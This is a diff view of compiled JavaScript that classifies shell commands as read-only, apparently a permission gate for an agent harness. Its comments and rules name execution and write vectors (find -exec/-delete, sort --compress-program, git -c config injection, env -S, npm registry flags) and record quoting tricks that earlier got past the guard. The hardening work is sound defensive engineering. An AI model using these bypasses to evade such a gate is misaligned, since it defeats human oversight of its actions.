-
// to LOSE matches here, because these predicates exclude `--` by
|
|
1903
|
-
// construction and a token like `-"-out"=x` decodes out of the
|
|
1904
|
-
// cluster branch entirely.
|
|
1905
|
-
return checkSortWrite(raw) || checkSortWrite(decodeShellWord(raw));
|
|
1906
|
-
}
|
|
1907
|
-
function checkSortWrite(t) {
|
|
1908
|
-
// Exact spellings and unambiguous abbreviations (measured minimums:
|
|
1909
|
-
// `--co`, `--t`, `--o` — see `isSortWriteToken`'s docstring and
|
|
1910
|
-
// `isLongOptionAbbreviation`).
|
|
1911
|
-
if (isLongOptionAbbreviation(t, "--compress-program", 2))
|
|
1912
|
-
return true;
|
|
1913
|
-
if (isLongOptionAbbreviation(t, "--temporary-directory", 1))
|
|
1914
|
-
return true;
|
|
1915
|
-
if (isLongOptionAbbreviation(t, "--output", 1))
|
|
1916
|
-
return true;
|
|
1917
|
-
// Short flag or cluster: '-' (not '--') containing 'o' (output) or
|
|
1918
|
-
// uppercase 'T' (temp dir).
|
|
1919
|
-
return t.startsWith("-") && !t.startsWith("--") && /[oT]/.test(t.slice(1));
|
|
1920
|
-
}
|
|
1921
|
-
/**
|
|
1922
|
-
* Returns true when a token is a write flag for `file`.
|
|
1923
|
-
* `-C` / `--compile` writes a compiled magic-cache file (`<name>.mgc`).
|
|
1924
|
-
* Lowercase `-c` checks the magic file without writing; only uppercase
|
|
1925
|
-
* `C` triggers a write. Cluster detection: `-bC`, `-Cb`, and `-bCx`
|
|
1926
|
-
* all contain uppercase `C` after the leading dash and are write vectors.
|
|
1927
|
-
*
|
|
1928
|
-
* Also matches an unambiguous GNU `getopt_long` ABBREVIATION of
|
|
1929
|
-
* `--compile` (task dd055c1d): `file --co`/`--com`/... were measured
|
|
1930
|
-
* creating the compiled magic-cache file (macOS `/usr/bin/file` 5.41)
|
|
1931
|
-
* while the pre-fix guard compared only the exact `--compile` spelling.
|
|
1932
|
-
* Measured minimum is `--co` (2 chars) — `--c` alone is ambiguous with
|
|
1933
|
-
* `--checking-printout` and errors rather than running; `--che`, the
|
|
1934
|
-
* shortest unambiguous abbreviation of `--checking-printout` (a
|
|
1935
|
-
* read-only flag), is NOT a prefix of `--compile` and so is unaffected
|
|
1936
|
-
* (measured: `file --che` does not create the cache file). See
|
|
1937
|
-
* `isLongOptionAbbreviation`.
|
|
1938
|
-
*/
|
|
1939
|
-
function isFileWriteToken(raw) {
|
|
1940
|
-
// Monotone BY CONSTRUCTION (review round 1, decision D3): testing
|
|
1941
|
-
// raw OR decoded means decoding can only ADD a match, never remove
|
|
1942
|
-
// one. The earlier shape (test the decoded value alone) was measured
|
|
1943
|
-
// to LOSE matches here, because these predicates exclude `--` by
|
|
1944
|
-
// construction and a token like `-"-out"=x` decodes out of the
|
|
1945
|
-
// cluster branch entirely.
|
|
1946
|
-
return checkFileWrite(raw) || checkFileWrite(decodeShellWord(raw));
|
|
1947
|
-
}
|
|
1948
|
-
function checkFileWrite(t) {
|
|
1949
|
-
// Exact `--compile` and any unambiguous abbreviation of it (`--co`..
|
|
1950
|
-
// `--compil`) — see this function's docstring and
|
|
1951
|
-
// `isLongOptionAbbreviation`.
|
|
1952
|
-
if (isLongOptionAbbreviation(t, "--compile", 2))
|
|
1953
|
-
return true;
|
|
1954
|
-
// Short flag or cluster: single leading '-' (not '--'), containing
|
|
1955
|
-
// uppercase 'C'. Lowercase 'c' is intentionally not matched.
|
|
1956
|
-
return t.startsWith("-") && !t.startsWith("--") && t.slice(1).includes("C");
|
|
1957
|
-
}
|
|
1958
|
-
/**
|
|
1959
|
-
* Returns true when `bin` (with any path prefix) basename-matches "git".
|
|
1960
|
-
* Examples: "git", "/usr/bin/git", "./git", "/path/to/git" all return true.
|
|
1961
|
-
* "mygit", "gitk", "git-foo" all return false (not exact basename match).
|
|
1962
|
-
* Uses GIT_TOKEN_RE from command-normalize.ts for the canonical basename matching.
|
|
1963
|
-
*/
|
|
1964
|
-
function isGitBinary(bin) {
|
|
1965
|
-
return GIT_TOKEN_RE.test(bin);
|
|
1966
|
-
}
|
|
1967
|
-
/**
|
|
1968
|
-
* Strips leading git global options from tokens, returning the index after
|
|
1969
|
-
* the last global option (or 1 if no options). This allows the subcommand
|
|
1970
|
-
* check to look at the first remaining token after global options.
|
|
1971
|
-
*
|
|
1972
|
-
* Git global options recognized: -C, --git-dir, --work-tree, --namespace
|
|
1973
|
-
* (value-taking), and --no-pager, -p, --paginate, --exec-path, --literal-pathspecs,
|
|
1974
|
-
* --no-replace-objects (no-value).
|
|
1975
|
-
*
|
|
1976
|
-
* NOTE: `-c` is deliberately NOT included because git config injection can
|
|
1977
|
-
* execute arbitrary code (core.fsmonitor, core.pager, core.editor, etc.);
|
|
1978
|
-
* if `-c` appears, the command fails closed (treated as write).
|
|
1979
|
-
*/
|
|
1980
|
-
function skipGitGlobalOptions(tokens) {
|
|
1981
|
-
let idx = 1; // Start after "git"
|
|
1982
|
-
while (idx < tokens.length) {
|
|
1983
|
-
const t = tokens[idx];
|
|
1984
|
-
if (t === undefined || !t.startsWith("-"))
|
|
1985
|
-
break;
|
|
1986
|
-
// No-value options: use the exported set (exact match or glued with =).
|
|
1987
|
-
if (GIT_GLOBAL_NO_VALUE_FLAGS.has(t) || Array.from(GIT_GLOBAL_NO_VALUE_FLAGS).some(f => t.startsWith(f + "="))) {
|
|
1988
|
-
idx += 1;
|
|
1989
|
-
continue;
|
|
1990
|
-
}
|
|
1991
|
-
// Value-taking options: -C, --git-dir, --work-tree, --namespace
|
|
1992
|
-
// (both standalone and with glued =VALUE).
|
|
1993
|
-
const flagName = t.indexOf("=") === -1 ? t : t.slice(0, t.indexOf("="));
|
|
1994
|
-
if (GIT_GLOBAL_VALUE_TAKING_FLAGS.has(flagName)) {
|
|
1995
|
-
if (t.includes("=")) {
|
|
1996
|
-
// Glued form (--flag=value), it's one token
|
|
1997
|
-
idx += 1;
|
|
1998
|
-
}
|
|
1999
|
-
else {
|
|
2000
|
-
// Standalone form: if there's no next token, the value is missing.
|
|
2001
|
-
// Fail closed: treat as write (return early).
|
|
2002
|
-
if (idx + 1 >= tokens.length) {
|
|
2003
|
-
return idx; // Stop here, leaving the flag unprocessed
|
|
2004
|
-
}
|
|
2005
|
-
idx += 2; // Skip flag and value
|
|
2006
|
-
}
|
|
2007
|
-
continue;
|
|
2008
|
-
}
|
|
2009
|
-
// Unknown flag (including `-c`, which we fail-closed on), stop.
|
|
2010
|
-
break;
|
|
2011
|
-
}
|
|
2012
|
-
return idx;
|
|
2013
|
-
}
|
|
2014
|
-
/**
|
|
2015
|
-
* Classify an already-tokenized, metachar-cleared argv. Factored out
|
|
2016
|
-
* of `isReadOnlyBashCommand` so the command-runner special cases
|
|
2017
|
-
* (`command` / `env`) can recurse on the residual underlying command
|
|
2018
|
-
* without re-parsing a reconstructed string.
|
|
2019
|
-
*/
|
|
2020
|
-
function classifyTokens(tokens) {
|
|
2021
|
-
const bin = tokens[0] ?? "";
|
|
2022
|
-
const sub = tokens[1] ?? "";
|
|
2023
|
-
if (SIMPLE_READ_ONLY_BINS.has(bin))
|
|
2024
|
-
return true;
|
|
2025
|
-
// `command <cmd> ...` runs <cmd>, bypassing shell functions/aliases.
|
|
2026
|
-
// It is read-only ONLY if the command it wraps is read-only. Strip
|
|
2027
|
-
// `command`'s own option flags (`-p`, `-v`, `-V`, and any combined
|
|
2028
|
-
// short flags like `-pv`), then recurse-classify the residual argv.
|
|
2029
|
-
// Bare `command` (no residual) and the lookup-only forms `command
|
|
2030
|
-
// -v <name>` / `command -V <name>` (which print where a name
|
|
2031
|
-
// resolves without executing it) stay read-only.
|
|
2032
|
-
if (bin === "command") {
|
|
2033
|
-
let i = 1;
|
|
2034
|
-
let lookupOnly = false;
|
|
2035
|
-
for (; i < tokens.length; i += 1) {
|
|
2036
|
-
const t = tokens[i];
|
|
2037
|
-
if (t === undefined || !t.startsWith("-") || t === "--")
|
|
2038
|
-
break;
|
|
2039
|
-
if (/[vV]/.test(t))
|
|
2040
|
-
lookupOnly = true;
|
|
2041
|
-
}
|
|
2042
|
-
if (i < tokens.length && tokens[i] === "--")
|
|
2043
|
-
i += 1;
|
|
2044
|
-
if (lookupOnly)
|
|
2045
|
-
return true;
|
|
2046
|
-
if (i >= tokens.length)
|
|
2047
|
-
return true; // bare `command`
|
|
2048
|
-
return classifyTokens(tokens.slice(i));
|
|
2049
|
-
}
|
|
2050
|
-
// `env [NAME=VALUE...] [flags] <cmd> ...` runs <cmd> in a modified
|
|
2051
|
-
// environment. It is read-only ONLY if the command it wraps is
|
|
2052
|
-
// read-only. Skip leading env-assignment tokens (`FOO=bar`) and
|
|
2053
|
-
// env's own flags, then recurse-classify the residual command. Bare
|
|
2054
|
-
// `env`, `env -u X`, `env FOO=bar` (no residual command, just prints
|
|
2055
|
-
// the environment) stay read-only.
|
|
2056
|
-
if (bin === "env") {
|
|
2057
|
-
let i = 1;
|
|
2058
|
-
while (i < tokens.length) {
|
|
2059
|
-
const t = tokens[i];
|
|
2060
|
-
if (t === undefined)
|
|
2061
|
-
break;
|
|
2062
|
-
// `env -S` / `--split-string` re-parses a string into a command:
|
|
2063
|
-
// forfeit read-only classification (fail closed).
|
|
2064
|
-
if ((ENV_SPLIT_STRING_FLAGS.test(t) || ENV_SPLIT_STRING_FLAGS.test(decodeShellWord(t))))
|
|
2065
|
-
return false;
|
|
2066
|
-
if (t === "--") {
|
|
2067
|
-
i += 1;
|
|
2068
|
-
break;
|
|
2069
|
-
}
|
|
2070
|
-
if (ENV_VALUE_FLAGS.has(t)) {
|
|
2071
|
-
i += 2;
|
|
2072
|
-
continue;
|
|
2073
|
-
}
|
|
2074
|
-
if (ENV_LEADING_FLAGS.has(t)) {
|
|
2075
|
-
i += 1;
|
|
2076
|
-
continue;
|
|
2077
|
-
}
|
|
2078
|
-
// Long flag with a glued value (`--unset=NAME`, `--chdir=DIR`):
|
|
2079
|
-
// single token, skip it.
|
|
2080
|
-
if (t.startsWith("--") && t.includes("=")) {
|
|
2081
|
-
i += 1;
|
|
2082
|
-
continue;
|
|
2083
|
-
}
|
|
2084
|
-
// Short flag with a glued value (`-uNAME`, `-CDIR`): single
|
|
2085
|
-
// token, skip it.
|
|
2086
|
-
if (/^-[uC]./.test(t)) {
|
|
2087
|
-
i += 1;
|
|
2088
|
-
continue;
|
|
2089
|
-
}
|
|
2090
|
-
// `NAME=VALUE` environment assignment (no leading dash): skip.
|
|
2091
|
-
if (!t.startsWith("-") && /^[A-Za-z_][A-Za-z0-9_]*=/.test(t)) {
|
|
2092
|
-
i += 1;
|
|
2093
|
-
continue;
|
|
2094
|
-
}
|
|
2095
|
-
break;
|
|
2096
|
-
}
|
|
2097
|
-
if (i >= tokens.length)
|
|
2098
|
-
return true; // bare `env` / only assignments
|
|
2099
|
-
return classifyTokens(tokens.slice(i));
|
|
2100
|
-
}
|
|
2101
|
-
// `find` is read-only ONLY when none of its argv tokens are write
|
|
2102
|
-
// flags. Scan the whole argv: `-delete` / `-exec` / `-execdir` /
|
|
2103
|
-
// `-ok` / `-okdir` mutate the filesystem; `-fprint*` and `-fls`
|
|
2104
|
-
// write to operator-supplied paths without going through shell
|
|
2105
|
-
// redirection. If any such flag appears, fall through to block.
|
|
2106
|
-
if (bin === "find") {
|
|
2107
|
-
// Decode each token first: `-"delete"`, `-'delete'`, `-\delete`,
|
|
2108
|
-
// `-$'delete'` and `-de"lete"` are all the single argv entry `-delete`
|
|
2109
|
-
// to bash, and all five really deleted while classifying as read-only
|
|
2110
|
-
// (task fdee7d0f, measured with a canary file per form). Set membership
|
|
2111
|
-
// on the RAW token is what they defeated.
|
|
2112
|
-
return !tokens.slice(1).some((t) => (FIND_WRITE_FLAGS.has(t) || FIND_WRITE_FLAGS.has(decodeShellWord(t))));
|
|
2113
|
-
}
|
|
2114
|
-
// `sort` is read-only ONLY when none of its argv tokens are write or
|
|
2115
|
-
// exec flags: `-o`/`--output` (file output), `--compress-program`
|
|
2116
|
-
// (runs an arbitrary program on spill files), and
|
|
2117
|
-
// `-T`/`--temporary-directory` (scratch write). See `isSortWriteToken`
|
|
2118
|
-
// for the exact detection rules and why the enumeration must cover the
|
|
2119
|
-
// exec vector, not just output redirection.
|
|
2120
|
-
if (bin === "sort") {
|
|
2121
|
-
return !tokens.slice(1).some(isSortWriteToken);
|
|
2122
|
-
}
|
|
2123
|
-
// `tree` is read-only ONLY when none of its argv tokens are output
|
|
2124
|
-
// write flags: `-o FILE` / `--output=FILE` / `--output FILE`, or a
|
|
2125
|
-
// short-flag cluster containing lowercase `o` (e.g. `-rno`). tree has
|
|
2126
|
-
// no exec or temp-dir flags. See `isTreeWriteToken`.
|
|
2127
|
-
if (bin === "tree") {
|
|
2128
|
-
return !tokens.slice(1).some(isTreeWriteToken);
|
|
2129
|
-
}
|
|
2130
|
-
// `file` is read-only ONLY when none of its argv tokens are compile
|
|
2131
|
-
// flags. `-C` / `--compile` writes a compiled magic-cache file;
|
|
2132
|
-
// lowercase `-c` is benign (magic-file check). Any short cluster
|
|
2133
|
-
// containing uppercase `C` (e.g. `-bC`) is a write vector. See
|
|
2134
|
-
// `isFileWriteToken` for the exact detection rules.
|
|
2135
|
-
if (bin === "file") {
|
|
2136
|
-
return !tokens.slice(1).some(isFileWriteToken);
|
|
2137
|
-
}
|
|
2138
|
-
// `<bin> --version` / `<bin> --help` shape. Checked BEFORE the
|
|
2139
|
-
// per-binary branches so that `git --version`, `gh --version`,
|
|
2140
|
-
// `harness --version` all pass through this shape rather than
|
|
2141
|
-
// falling into the per-binary subcommand allowlists (which
|
|
2142
|
-
// intentionally don't list `--version` since it's not a
|
|
2143
|
-
// subcommand). Must be exactly two tokens to keep the surface
|
|
2144
|
-
// tight: `<bin> --version <thing>` could exfiltrate or mis-route.
|
|
2145
|
-
if (tokens.length === 2 && VERSION_OR_HELP_FLAGS.has(sub))
|
|
2146
|
-
return true;
|
|
2147
|
-
if (isGitBinary(bin)) {
|
|
2148
|
-
// Strip git global options to find the subcommand.
|
|
2149
|
-
const argsIdx = skipGitGlobalOptions(tokens);
|
|
2150
|
-
const subAtIdx = tokens[argsIdx];
|
|
2151
|
-
if (subAtIdx === undefined)
|
|
2152
|
-
return true; // bare `git` or only options
|
|
2153
|
-
if (!GIT_READ_ONLY_SUBS.has(subAtIdx))
|
|
2154
|
-
return false;
|
|
2155
|
-
return isReadOnlyGitInvocation(subAtIdx, tokens.slice(argsIdx + 1));
|
|
2156
|
-
}
|
|
2157
|
-
if (bin === "gh") {
|
|
2158
|
-
if (!GH_READ_ONLY_NOUNS.has(sub))
|
|
2159
|
-
return false;
|
|
2160
|
-
const verb = tokens[2] ?? "";
|
|
2161
|
-
return GH_READ_ONLY_VERBS.has(verb);
|
|
2162
|
-
}
|
|
2163
|
-
if (bin === "harness")
|
|
2164
|
-
return HARNESS_READ_ONLY_SUBS.has(sub);
|
|
2165
|
-
if (bin === "npm") {
|
|
2166
|
-
// `--registry` (incl. the per-scope `--@scope:registry` form) /
|
|
2167
|
-
// `--userconfig` / `--globalconfig` redirect npm's network or config
|
|
2168
|
-
// lookups to an operator-unverified location; forfeit the read-only
|
|
2169
|
-
// classification for the whole npm invocation regardless of which
|
|
2170
|
-
// subcommand is used. See `NPM_REGISTRY_FLAG_RE` / `NPM_UNSCOPED_UNTRUSTED_FLAGS`
|
|
2171
|
-
// (and their docstring's stated limit — this is a CLI-token guard only,
|
|
2172
|
-
// it cannot see `.npmrc` or `npm_config_registry`).
|
|
2173
|
-
if (hasNpmUntrustedSourceFlag(tokens.slice(1)))
|
|
2174
|
-
return false;
|
|
2175
|
-
// `npm audit` (report) is read-only; `npm audit fix` mutates the
|
|
2176
|
-
// lockfile and node_modules. A token-equality denylist on `fix` is a
|
|
2177
|
-
// shell-quoting bypass waiting to happen: `npm audit "fix"`, `'fix'`,
|
|
2178
|
-
// `f''ix`, `fi"x"`, `$'fix'` all reach npm as the literal argument
|
|
2179
|
-
// `fix` (npm's own arg parsing, not ours, strips the quoting) while
|
|
2180
|
-
// none of those RAW tokens equals the string `"fix"`, so an
|
|
2181
|
-
// equality/`includes` check on the untouched argv silently passes them.
|
|
2182
|
-
// The fix is a POSITIVE shape instead: after `audit`, every remaining
|
|
2183
|
-
// token must either start with `-` (a flag) or be the literal verb
|
|
2184
|
-
// `signatures` (npm's other read-only audit arm); any other positional
|
|
2185
|
-
// token — quoted, glued, or a future subcommand this floor has not
|
|
2186
|
-
// reasoned about — forfeits the classification. This also fails closed
|
|
2187
|
-
// on ANY separated flag value (e.g. `npm audit --audit-level high`,
|
|
2188
|
-
// `npm audit --omit dev` — the value itself, `high` / `dev`, is a
|
|
2189
|
-
// positional token with no leading `-`), an acceptable, conservative
|
|
2190
|
-
// false negative; use the glued `--flag=value` form to stay floored.
|
|
2191
|
-
// Deliberately NOT blocked: `npm audit -fix` (single dash). Verified
|
|
2192
|
-
// npm 11.17.0 behavior: npm's arg parser does not recognize `-fix` as
|
|
2193
|
-
// the `fix` subcommand or as any known flag cluster — it errors
|
|
2194
|
-
// `Unknown cli config "--fix"` and falls back to the plain (read-only)
|
|
2195
|
-
// report. `startsWith("-")` correctly floors it; do not "fix" this into
|
|
2196
|
-
// a block without re-verifying npm's parser first.
|
|
2197
|
-
if (sub === "audit") {
|
|
2198
|
-
return tokens.slice(2).every((t) => t.startsWith("-") || t === "signatures");
|
|
2199
|
-
}
|
|
2200
|
-
return NPM_READ_ONLY_SUBS.has(sub);
|
|
2201
|
-
}
|
|
2202
|
-
return false;
|
|
2203
|
-
}
|
|
2204
|
-
//# sourceMappingURL=read-only-bash.js.map
|